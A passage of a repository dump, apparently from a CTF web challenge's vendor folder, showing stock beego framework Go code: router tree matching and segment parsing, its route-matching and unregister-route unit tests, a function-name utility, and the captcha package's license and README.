20) return t.match(pattern[1:], pattern, w, ctx) } func (t *Tree) match(treePattern string, pattern string, wildcardValues []string, ctx *context.Context) (runObject interface{}) { if len(pattern) > 0 { i := 0 for ; i < len(pattern) && pattern[i] == '/'; i++ { } pattern = pattern[i:] } // Handle leaf nodes: if len(pattern) == 0 { for _, l := range t.leaves { if ok := l.match(treePattern, wildcardValues, ctx); ok { return l.runObject } } if t.wildcard != nil { for _, l := range t.wildcard.leaves { if ok := l.match(treePattern, wildcardValues, ctx); ok { return l.runObject } } } return nil } var seg string i, l := 0, len(pattern) for ; i < l && pattern[i] != '/'; i++ { } if i == 0 { seg = pattern pattern = "" } else { seg = pattern[:i] pattern = pattern[i:] } for _, subTree := range t.fixrouters { if subTree.prefix == seg { if len(pattern) != 0 && pattern[0] == '/' { treePattern = pattern[1:] } else { treePattern = pattern } runObject = subTree.match(treePattern, pattern, wildcardValues, ctx) if runObject != nil { break } } } if runObject == nil && len(t.fixrouters) > 0 { // Filter the .json .xml .html extension for _, str := range allowSuffixExt { if strings.HasSuffix(seg, str) { for _, subTree := range t.fixrouters { if subTree.prefix == seg[:len(seg)-len(str)] { runObject = subTree.match(treePattern, pattern, wildcardValues, ctx) if runObject != nil { ctx.Input.SetParam(":ext", str[1:]) } } } } } } if runObject == nil && t.wildcard != nil { runObject = t.wildcard.match(treePattern, pattern, append(wildcardValues, seg), ctx) } if runObject == nil && len(t.leaves) > 0 { wildcardValues = append(wildcardValues, seg) start, i := 0, 0 for ; i < len(pattern); i++ { if pattern[i] == '/' { if i != 0 && start < len(pattern) { wildcardValues = append(wildcardValues, pattern[start:i]) } start = i + 1 continue } } if start > 0 { wildcardValues = append(wildcardValues, pattern[start:i]) } for _, l := range t.leaves { if ok := l.match(treePattern, wildcardValues, ctx); ok { return l.runObject } } } return runObject } type leafInfo struct { // names of wildcards that lead to this leaf. eg, ["id" "name"] for the wildcard ":id" and ":name" wildcards []string // if the leaf is regexp regexps *regexp.Regexp runObject interface{} } func (leaf *leafInfo) match(treePattern string, wildcardValues []string, ctx *context.Context) (ok bool) { //fmt.Println("Leaf:", wildcardValues, leaf.wildcards, leaf.regexps) if leaf.regexps == nil { if len(wildcardValues) == 0 && len(leaf.wildcards) == 0 { // static path return true } // match * if len(leaf.wildcards) == 1 && leaf.wildcards[0] == ":splat" { ctx.Input.SetParam(":splat", treePattern) return true } // match *.* or :id if len(leaf.wildcards) >= 2 && leaf.wildcards[len(leaf.wildcards)-2] == ":path" && leaf.wildcards[len(leaf.wildcards)-1] == ":ext" { if len(leaf.wildcards) == 2 { lastone := wildcardValues[len(wildcardValues)-1] strs := strings.SplitN(lastone, ".", 2) if len(strs) == 2 { ctx.Input.SetParam(":ext", strs[1]) } ctx.Input.SetParam(":path", path.Join(path.Join(wildcardValues[:len(wildcardValues)-1]...), strs[0])) return true } else if len(wildcardValues) < 2 { return false } var index int for index = 0; index < len(leaf.wildcards)-2; index++ { ctx.Input.SetParam(leaf.wildcards[index], wildcardValues[index]) } lastone := wildcardValues[len(wildcardValues)-1] strs := strings.SplitN(lastone, ".", 2) if len(strs) == 2 { ctx.Input.SetParam(":ext", strs[1]) } if index > (len(wildcardValues) - 1) { ctx.Input.SetParam(":path", "") } else { ctx.Input.SetParam(":path", path.Join(path.Join(wildcardValues[index:len(wildcardValues)-1]...), strs[0])) } return true } // match :id if len(leaf.wildcards) != len(wildcardValues) { return false } for j, v := range leaf.wildcards { ctx.Input.SetParam(v, wildcardValues[j]) } return true } if !leaf.regexps.MatchString(path.Join(wildcardValues...)) { return false } matches := leaf.regexps.FindStringSubmatch(path.Join(wildcardValues...)) for i, match := range matches[1:] { if i < len(leaf.wildcards) { ctx.Input.SetParam(leaf.wildcards[i], match) } } return true } // "/" -> [] // "/admin" -> ["admin"] // "/admin/" -> ["admin"] // "/admin/users" -> ["admin", "users"] func splitPath(key string) []string { key = strings.Trim(key, "/ ") if key == "" { return []string{} } return strings.Split(key, "/") } // "admin" -> false, nil, "" // ":id" -> true, [:id], "" // "?:id" -> true, [: :id], "" : meaning can empty // ":id:int" -> true, [:id], ([0-9]+) // ":name:string" -> true, [:name], ([\w]+) // ":id([0-9]+)" -> true, [:id], ([0-9]+) // ":id([0-9]+)_:name" -> true, [:id :name], ([0-9]+)_(.+) // "cms_:id_:page.html" -> true, [:id_ :page], cms_(.+)(.+).html // "cms_:id(.+)_:page.html" -> true, [:id :page], cms_(.+)_(.+).html // "*" -> true, [:splat], "" // "*.*" -> true,[. :path :ext], "" . meaning separator func splitSegment(key string) (bool, []string, string) { if strings.HasPrefix(key, "*") { if key == "*.*" { return true, []string{".", ":path", ":ext"}, "" } return true, []string{":splat"}, "" } if strings.ContainsAny(key, ":") { var paramsNum int var out []rune var start bool var startexp bool var param []rune var expt []rune var skipnum int params := []string{} reg := regexp.MustCompile(`[a-zA-Z0-9_]+`) for i, v := range key { if skipnum > 0 { skipnum-- continue } if start { //:id:int and :name:string if v == ':' { if len(key) >= i+4 { if key[i+1:i+4] == "int" { out = append(out, []rune("([0-9]+)")...) params = append(params, ":"+string(param)) start = false startexp = false skipnum = 3 param = make([]rune, 0) paramsNum++ continue } } if len(key) >= i+7 { if key[i+1:i+7] == "string" { out = append(out, []rune(`([\w]+)`)...) params = append(params, ":"+string(param)) paramsNum++ start = false startexp = false skipnum = 6 param = make([]rune, 0) continue } } } // params only support a-zA-Z0-9 if reg.MatchString(string(v)) { param = append(param, v) continue } if v != '(' { out = append(out, []rune(`(.+)`)...) params = append(params, ":"+string(param)) param = make([]rune, 0) paramsNum++ start = false startexp = false } } if startexp { if v != ')' { expt = append(expt, v) continue } } // Escape Sequence '\' if i > 0 && key[i-1] == '\\' { out = append(out, v) } else if v == ':' { param = make([]rune, 0) start = true } else if v == '(' { startexp = true start = false if len(param) > 0 { params = append(params, ":"+string(param)) param = make([]rune, 0) } paramsNum++ expt = make([]rune, 0) expt = append(expt, '(') } else if v == ')' { startexp = false expt = append(expt, ')') out = append(out, expt...) param = make([]rune, 0) } else if v == '?' { params = append(params, ":") } else { out = append(out, v) } } if len(param) > 0 { if paramsNum > 0 { out = append(out, []rune(`(.+)`)...) } params = append(params, ":"+string(param)) } return true, params, string(out) } return false, nil, "" } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/tree_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package beego import ( "strings" "testing" "github.com/astaxie/beego/context" ) type testinfo struct { url string requesturl string params map[string]string } var routers []testinfo func init() { routers = make([]testinfo, 0) routers = append(routers, testinfo{"/topic/?:auth:int", "/topic", nil}) routers = append(routers, testinfo{"/topic/?:auth:int", "/topic/123", map[string]string{":auth": "123"}}) routers = append(routers, testinfo{"/topic/:id/?:auth", "/topic/1", map[string]string{":id": "1"}}) routers = append(routers, testinfo{"/topic/:id/?:auth", "/topic/1/2", map[string]string{":id": "1", ":auth": "2"}}) routers = append(routers, testinfo{"/topic/:id/?:auth:int", "/topic/1", map[string]string{":id": "1"}}) routers = append(routers, testinfo{"/topic/:id/?:auth:int", "/topic/1/123", map[string]string{":id": "1", ":auth": "123"}}) routers = append(routers, testinfo{"/:id", "/123", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/hello/?:id", "/hello", map[string]string{":id": ""}}) routers = append(routers, testinfo{"/", "/", nil}) routers = append(routers, testinfo{"/customer/login", "/customer/login", nil}) routers = append(routers, testinfo{"/customer/login", "/customer/login.json", map[string]string{":ext": "json"}}) routers = append(routers, testinfo{"/*", "/http://customer/123/", map[string]string{":splat": "http://customer/123/"}}) routers = append(routers, testinfo{"/*", "/customer/2009/12/11", map[string]string{":splat": "customer/2009/12/11"}}) routers = append(routers, testinfo{"/aa/*/bb", "/aa/2009/bb", map[string]string{":splat": "2009"}}) routers = append(routers, testinfo{"/cc/*/dd", "/cc/2009/11/dd", map[string]string{":splat": "2009/11"}}) routers = append(routers, testinfo{"/cc/:id/*", "/cc/2009/11/dd", map[string]string{":id": "2009", ":splat": "11/dd"}}) routers = append(routers, testinfo{"/ee/:year/*/ff", "/ee/2009/11/ff", map[string]string{":year": "2009", ":splat": "11"}}) routers = append(routers, testinfo{"/thumbnail/:size/uploads/*", "/thumbnail/100x100/uploads/items/2014/04/20/dPRCdChkUd651t1Hvs18.jpg", map[string]string{":size": "100x100", ":splat": "items/2014/04/20/dPRCdChkUd651t1Hvs18.jpg"}}) routers = append(routers, testinfo{"/*.*", "/nice/api.json", map[string]string{":path": "nice/api", ":ext": "json"}}) routers = append(routers, testinfo{"/:name/*.*", "/nice/api.json", map[string]string{":name": "nice", ":path": "api", ":ext": "json"}}) routers = append(routers, testinfo{"/:name/test/*.*", "/nice/test/api.json", map[string]string{":name": "nice", ":path": "api", ":ext": "json"}}) routers = append(routers, testinfo{"/dl/:width:int/:height:int/*.*", "/dl/48/48/05ac66d9bda00a3acf948c43e306fc9a.jpg", map[string]string{":width": "48", ":height": "48", ":ext": "jpg", ":path": "05ac66d9bda00a3acf948c43e306fc9a"}}) routers = append(routers, testinfo{"/v1/shop/:id:int", "/v1/shop/123", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/v1/shop/:id\\((a|b|c)\\)", "/v1/shop/123(a)", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/v1/shop/:id\\((a|b|c)\\)", "/v1/shop/123(b)", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/v1/shop/:id\\((a|b|c)\\)", "/v1/shop/123(c)", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/:year:int/:month:int/:id/:endid", "/1111/111/aaa/aaa", map[string]string{":year": "1111", ":month": "111", ":id": "aaa", ":endid": "aaa"}}) routers = append(routers, testinfo{"/v1/shop/:id/:name", "/v1/shop/123/nike", map[string]string{":id": "123", ":name": "nike"}}) routers = append(routers, testinfo{"/v1/shop/:id/account", "/v1/shop/123/account", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/v1/shop/:name:string", "/v1/shop/nike", map[string]string{":name": "nike"}}) routers = append(routers, testinfo{"/v1/shop/:id([0-9]+)", "/v1/shop//123", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/v1/shop/:id([0-9]+)_:name", "/v1/shop/123_nike", map[string]string{":id": "123", ":name": "nike"}}) routers = append(routers, testinfo{"/v1/shop/:id(.+)_cms.html", "/v1/shop/123_cms.html", map[string]string{":id": "123"}}) routers = append(routers, testinfo{"/v1/shop/cms_:id(.+)_:page(.+).html", "/v1/shop/cms_123_1.html", map[string]string{":id": "123", ":page": "1"}}) routers = append(routers, testinfo{"/v1/:v/cms/aaa_:id(.+)_:page(.+).html", "/v1/2/cms/aaa_123_1.html", map[string]string{":v": "2", ":id": "123", ":page": "1"}}) routers = append(routers, testinfo{"/v1/:v/cms_:id(.+)_:page(.+).html", "/v1/2/cms_123_1.html", map[string]string{":v": "2", ":id": "123", ":page": "1"}}) routers = append(routers, testinfo{"/v1/:v(.+)_cms/ttt_:id(.+)_:page(.+).html", "/v1/2_cms/ttt_123_1.html", map[string]string{":v": "2", ":id": "123", ":page": "1"}}) routers = append(routers, testinfo{"/api/projects/:pid/members/?:mid", "/api/projects/1/members", map[string]string{":pid": "1"}}) routers = append(routers, testinfo{"/api/projects/:pid/members/?:mid", "/api/projects/1/members/2", map[string]string{":pid": "1", ":mid": "2"}}) } func TestTreeRouters(t *testing.T) { for _, r := range routers { tr := NewTree() tr.AddRouter(r.url, "astaxie") ctx := context.NewContext() obj := tr.Match(r.requesturl, ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal(r.url+" can't get obj, Expect ", r.requesturl) } if r.params != nil { for k, v := range r.params { if vv := ctx.Input.Param(k); vv != v { t.Fatal("The Rule: " + r.url + "\nThe RequestURL:" + r.requesturl + "\nThe Key is " + k + ", The Value should be: " + v + ", but get: " + vv) } else if vv == "" && v != "" { t.Fatal(r.url + " " + r.requesturl + " get param empty:" + k) } } } } } func TestStaticPath(t *testing.T) { tr := NewTree() tr.AddRouter("/topic/:id", "wildcard") tr.AddRouter("/topic", "static") ctx := context.NewContext() obj := tr.Match("/topic", ctx) if obj == nil || obj.(string) != "static" { t.Fatal("/topic is a static route") } obj = tr.Match("/topic/1", ctx) if obj == nil || obj.(string) != "wildcard" { t.Fatal("/topic/1 is a wildcard route") } } func TestAddTree(t *testing.T) { tr := NewTree() tr.AddRouter("/shop/:id/account", "astaxie") tr.AddRouter("/shop/:sd/ttt_:id(.+)_:page(.+).html", "astaxie") t1 := NewTree() t1.AddTree("/v1/zl", tr) ctx := context.NewContext() obj := t1.Match("/v1/zl/shop/123/account", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/v1/zl/shop/:id/account can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get param error") } if ctx.Input.Param(":id") != "123" { t.Fatal("get :id param error") } ctx.Input.Reset(ctx) obj = t1.Match("/v1/zl/shop/123/ttt_1_12.html", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/v1/zl//shop/:sd/ttt_:id(.+)_:page(.+).html can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get param error") } if ctx.Input.Param(":sd") != "123" || ctx.Input.Param(":id") != "1" || ctx.Input.Param(":page") != "12" { t.Fatal("get :sd :id :page param error") } t2 := NewTree() t2.AddTree("/v1/:shopid", tr) ctx.Input.Reset(ctx) obj = t2.Match("/v1/zl/shop/123/account", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/v1/:shopid/shop/:id/account can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get param error") } if ctx.Input.Param(":id") != "123" || ctx.Input.Param(":shopid") != "zl" { t.Fatal("get :id :shopid param error") } ctx.Input.Reset(ctx) obj = t2.Match("/v1/zl/shop/123/ttt_1_12.html", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/v1/:shopid/shop/:sd/ttt_:id(.+)_:page(.+).html can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get :shopid param error") } if ctx.Input.Param(":sd") != "123" || ctx.Input.Param(":id") != "1" || ctx.Input.Param(":page") != "12" || ctx.Input.Param(":shopid") != "zl" { t.Fatal("get :sd :id :page :shopid param error") } } func TestAddTree2(t *testing.T) { tr := NewTree() tr.AddRouter("/shop/:id/account", "astaxie") tr.AddRouter("/shop/:sd/ttt_:id(.+)_:page(.+).html", "astaxie") t3 := NewTree() t3.AddTree("/:version(v1|v2)/:prefix", tr) ctx := context.NewContext() obj := t3.Match("/v1/zl/shop/123/account", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/:version(v1|v2)/:prefix/shop/:id/account can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get param error") } if ctx.Input.Param(":id") != "123" || ctx.Input.Param(":prefix") != "zl" || ctx.Input.Param(":version") != "v1" { t.Fatal("get :id :prefix :version param error") } } func TestAddTree3(t *testing.T) { tr := NewTree() tr.AddRouter("/create", "astaxie") tr.AddRouter("/shop/:sd/account", "astaxie") t3 := NewTree() t3.AddTree("/table/:num", tr) ctx := context.NewContext() obj := t3.Match("/table/123/shop/123/account", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/table/:num/shop/:sd/account can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get param error") } if ctx.Input.Param(":num") != "123" || ctx.Input.Param(":sd") != "123" { t.Fatal("get :num :sd param error") } ctx.Input.Reset(ctx) obj = t3.Match("/table/123/create", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/table/:num/create can't get obj ") } } func TestAddTree4(t *testing.T) { tr := NewTree() tr.AddRouter("/create", "astaxie") tr.AddRouter("/shop/:sd/:account", "astaxie") t4 := NewTree() t4.AddTree("/:info:int/:num/:id", tr) ctx := context.NewContext() obj := t4.Match("/12/123/456/shop/123/account", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/:info:int/:num/:id/shop/:sd/:account can't get obj ") } if ctx.Input.ParamsLen() == 0 { t.Fatal("get param error") } if ctx.Input.Param(":info") != "12" || ctx.Input.Param(":num") != "123" || ctx.Input.Param(":id") != "456" || ctx.Input.Param(":sd") != "123" || ctx.Input.Param(":account") != "account" { t.Fatal("get :info :num :id :sd :account param error") } ctx.Input.Reset(ctx) obj = t4.Match("/12/123/456/create", ctx) if obj == nil || obj.(string) != "astaxie" { t.Fatal("/:info:int/:num/:id/create can't get obj ") } } // Test for issue #1595 func TestAddTree5(t *testing.T) { tr := NewTree() tr.AddRouter("/v1/shop/:id", "shopdetail") tr.AddRouter("/v1/shop/", "shophome") ctx := context.NewContext() obj := tr.Match("/v1/shop/", ctx) if obj == nil || obj.(string) != "shophome" { t.Fatal("url /v1/shop/ need match router /v1/shop/ ") } } func TestSplitPath(t *testing.T) { a := splitPath("") if len(a) != 0 { t.Fatal("/ should retrun []") } a = splitPath("/") if len(a) != 0 { t.Fatal("/ should retrun []") } a = splitPath("/admin") if len(a) != 1 || a[0] != "admin" { t.Fatal("/admin should retrun [admin]") } a = splitPath("/admin/") if len(a) != 1 || a[0] != "admin" { t.Fatal("/admin/ should retrun [admin]") } a = splitPath("/admin/users") if len(a) != 2 || a[0] != "admin" || a[1] != "users" { t.Fatal("/admin should retrun [admin users]") } a = splitPath("/admin/:id:int") if len(a) != 2 || a[0] != "admin" || a[1] != ":id:int" { t.Fatal("/admin should retrun [admin :id:int]") } } func TestSplitSegment(t *testing.T) { items := map[string]struct { isReg bool params []string regStr string }{ "admin": {false, nil, ""}, "*": {true, []string{":splat"}, ""}, "*.*": {true, []string{".", ":path", ":ext"}, ""}, ":id": {true, []string{":id"}, ""}, "?:id": {true, []string{":", ":id"}, ""}, ":id:int": {true, []string{":id"}, "([0-9]+)"}, ":name:string": {true, []string{":name"}, `([\w]+)`}, ":id([0-9]+)": {true, []string{":id"}, `([0-9]+)`}, ":id([0-9]+)_:name": {true, []string{":id", ":name"}, `([0-9]+)_(.+)`}, ":id(.+)_cms.html": {true, []string{":id"}, `(.+)_cms.html`}, "cms_:id(.+)_:page(.+).html": {true, []string{":id", ":page"}, `cms_(.+)_(.+).html`}, `:app(a|b|c)`: {true, []string{":app"}, `(a|b|c)`}, `:app\((a|b|c)\)`: {true, []string{":app"}, `(.+)\((a|b|c)\)`}, } for pattern, v := range items { b, w, r := splitSegment(pattern) if b != v.isReg || r != v.regStr || strings.Join(w, ",") != strings.Join(v.params, ",") { t.Fatalf("%s should return %t,%s,%q, got %t,%s,%q", pattern, v.isReg, v.params, v.regStr, b, w, r) } } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/unregroute_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package beego import ( "net/http" "net/http/httptest" "strings" "testing" ) // // The unregroute_test.go contains tests for the unregister route // functionality, that allows overriding route paths in children project // that embed parent routers. // const contentRootOriginal = "ok-original-root" const contentLevel1Original = "ok-original-level1" const contentLevel2Original = "ok-original-level2" const contentRootReplacement = "ok-replacement-root" const contentLevel1Replacement = "ok-replacement-level1" const contentLevel2Replacement = "ok-replacement-level2" // TestPreUnregController will supply content for the original routes, // before unregistration type TestPreUnregController struct { Controller } func (tc *TestPreUnregController) GetFixedRoot() { tc.Ctx.Output.Body([]byte(contentRootOriginal)) } func (tc *TestPreUnregController) GetFixedLevel1() { tc.Ctx.Output.Body([]byte(contentLevel1Original)) } func (tc *TestPreUnregController) GetFixedLevel2() { tc.Ctx.Output.Body([]byte(contentLevel2Original)) } // TestPostUnregController will supply content for the overriding routes, // after the original ones are unregistered. type TestPostUnregController struct { Controller } func (tc *TestPostUnregController) GetFixedRoot() { tc.Ctx.Output.Body([]byte(contentRootReplacement)) } func (tc *TestPostUnregController) GetFixedLevel1() { tc.Ctx.Output.Body([]byte(contentLevel1Replacement)) } func (tc *TestPostUnregController) GetFixedLevel2() { tc.Ctx.Output.Body([]byte(contentLevel2Replacement)) } // TestUnregisterFixedRouteRoot replaces just the root fixed route path. // In this case, for a path like "/level1/level2" or "/level1", those actions // should remain intact, and continue to serve the original content. func TestUnregisterFixedRouteRoot(t *testing.T) { var method = "GET" handler := NewControllerRegister() handler.Add("/", &TestPreUnregController{}, "get:GetFixedRoot") handler.Add("/level1", &TestPreUnregController{}, "get:GetFixedLevel1") handler.Add("/level1/level2", &TestPreUnregController{}, "get:GetFixedLevel2") // Test original root testHelperFnContentCheck(t, handler, "Test original root", method, "/", contentRootOriginal) // Test original level 1 testHelperFnContentCheck(t, handler, "Test original level 1", method, "/level1", contentLevel1Original) // Test original level 2 testHelperFnContentCheck(t, handler, "Test original level 2", method, "/level1/level2", contentLevel2Original) // Remove only the root path findAndRemoveSingleTree(handler.routers[method]) // Replace the root path TestPreUnregController action with the action from // TestPostUnregController handler.Add("/", &TestPostUnregController{}, "get:GetFixedRoot") // Test replacement root (expect change) testHelperFnContentCheck(t, handler, "Test replacement root (expect change)", method, "/", contentRootReplacement) // Test level 1 (expect no change from the original) testHelperFnContentCheck(t, handler, "Test level 1 (expect no change from the original)", method, "/level1", contentLevel1Original) // Test level 2 (expect no change from the original) testHelperFnContentCheck(t, handler, "Test level 2 (expect no change from the original)", method, "/level1/level2", contentLevel2Original) } // TestUnregisterFixedRouteLevel1 replaces just the "/level1" fixed route path. // In this case, for a path like "/level1/level2" or "/", those actions // should remain intact, and continue to serve the original content. func TestUnregisterFixedRouteLevel1(t *testing.T) { var method = "GET" handler := NewControllerRegister() handler.Add("/", &TestPreUnregController{}, "get:GetFixedRoot") handler.Add("/level1", &TestPreUnregController{}, "get:GetFixedLevel1") handler.Add("/level1/level2", &TestPreUnregController{}, "get:GetFixedLevel2") // Test original root testHelperFnContentCheck(t, handler, "TestUnregisterFixedRouteLevel1.Test original root", method, "/", contentRootOriginal) // Test original level 1 testHelperFnContentCheck(t, handler, "TestUnregisterFixedRouteLevel1.Test original level 1", method, "/level1", contentLevel1Original) // Test original level 2 testHelperFnContentCheck(t, handler, "TestUnregisterFixedRouteLevel1.Test original level 2", method, "/level1/level2", contentLevel2Original) // Remove only the level1 path subPaths := splitPath("/level1") if handler.routers[method].prefix == strings.Trim("/level1", "/ ") { findAndRemoveSingleTree(handler.routers[method]) } else { findAndRemoveTree(subPaths, handler.routers[method], method) } // Replace the "level1" path TestPreUnregController action with the action from // TestPostUnregController handler.Add("/level1", &TestPostUnregController{}, "get:GetFixedLevel1") // Test replacement root (expect no change from the original) testHelperFnContentCheck(t, handler, "Test replacement root (expect no change from the original)", method, "/", contentRootOriginal) // Test level 1 (expect change) testHelperFnContentCheck(t, handler, "Test level 1 (expect change)", method, "/level1", contentLevel1Replacement) // Test level 2 (expect no change from the original) testHelperFnContentCheck(t, handler, "Test level 2 (expect no change from the original)", method, "/level1/level2", contentLevel2Original) } // TestUnregisterFixedRouteLevel2 unregisters just the "/level1/level2" fixed // route path. In this case, for a path like "/level1" or "/", those actions // should remain intact, and continue to serve the original content. func TestUnregisterFixedRouteLevel2(t *testing.T) { var method = "GET" handler := NewControllerRegister() handler.Add("/", &TestPreUnregController{}, "get:GetFixedRoot") handler.Add("/level1", &TestPreUnregController{}, "get:GetFixedLevel1") handler.Add("/level1/level2", &TestPreUnregController{}, "get:GetFixedLevel2") // Test original root testHelperFnContentCheck(t, handler, "TestUnregisterFixedRouteLevel1.Test original root", method, "/", contentRootOriginal) // Test original level 1 testHelperFnContentCheck(t, handler, "TestUnregisterFixedRouteLevel1.Test original level 1", method, "/level1", contentLevel1Original) // Test original level 2 testHelperFnContentCheck(t, handler, "TestUnregisterFixedRouteLevel1.Test original level 2", method, "/level1/level2", contentLevel2Original) // Remove only the level2 path subPaths := splitPath("/level1/level2") if handler.routers[method].prefix == strings.Trim("/level1/level2", "/ ") { findAndRemoveSingleTree(handler.routers[method]) } else { findAndRemoveTree(subPaths, handler.routers[method], method) } // Replace the "/level1/level2" path TestPreUnregController action with the action from // TestPostUnregController handler.Add("/level1/level2", &TestPostUnregController{}, "get:GetFixedLevel2") // Test replacement root (expect no change from the original) testHelperFnContentCheck(t, handler, "Test replacement root (expect no change from the original)", method, "/", contentRootOriginal) // Test level 1 (expect no change from the original) testHelperFnContentCheck(t, handler, "Test level 1 (expect no change from the original)", method, "/level1", contentLevel1Original) // Test level 2 (expect change) testHelperFnContentCheck(t, handler, "Test level 2 (expect change)", method, "/level1/level2", contentLevel2Replacement) } func testHelperFnContentCheck(t *testing.T, handler *ControllerRegister, testName, method, path, expectedBodyContent string) { r, err := http.NewRequest(method, path, nil) if err != nil { t.Errorf("httpRecorderBodyTest NewRequest error: %v", err) return } w := httptest.NewRecorder() handler.ServeHTTP(w, r) body := w.Body.String() if body != expectedBodyContent { t.Errorf("%s: expected [%s], got [%s];", testName, expectedBodyContent, body) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/caller.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "reflect" "runtime" ) // GetFuncName get function name func GetFuncName(i interface{}) string { return runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name() } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/caller_test.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package utils import ( "strings" "testing" ) func TestGetFuncName(t *testing.T) { name := GetFuncName(TestGetFuncName) t.Log(name) if !strings.HasSuffix(name, ".TestGetFuncName") { t.Error("get func name error") } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/LICENSE ================================================ Copyright (c) 2011-2014 Dmitry Chestnykh Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/README.md ================================================ # Captcha an example for use captcha ``` package controllers import ( "github.com/astaxie/beego" "github.com/astaxie/beego/cache" "github.com/astaxie/beego/utils/captcha" ) var cpt *captcha.Captcha func init() { // use beego cache system store the captcha data store := cache.NewMemoryCache() cpt = captcha.NewWithFilter("/captcha/", store) } type MainController struct { beego.Controller } func (this *MainController) Get() { this.TplName = "index.tpl" } func (this *MainController) Post() { this.TplName = "index.tpl" this.Data["Success"] = cpt.VerifyReq(this.Ctx.Request) } ``` template usage ``` {{.Success}}
      {{create_captcha}}
      ``` ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/captcha.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package captcha implements generation and verification of image CAPTCHAs. // an example for use captcha // // ``` // package controllers // // import ( // "github.com/astaxie/beego" // "github.com/astaxie/beego/cache" // "github.com/astaxie/beego/utils/captcha" // ) // // var cpt *captcha.Captcha // // func init() { // // use beego cache system store the captcha data // store := cache.NewMemoryCache() // cpt = captcha.NewWithFilter("/captcha/", store) // } // // type MainController struct { // beego.Controller // } // // func (this *MainController) Get() { // this.TplName = "index.tpl" // } // // func (this *MainController) Post() { // this.TplName = "index.tpl" // // this.Data["Success"] = cpt.VerifyReq(this.Ctx.Request) // } // ``` // 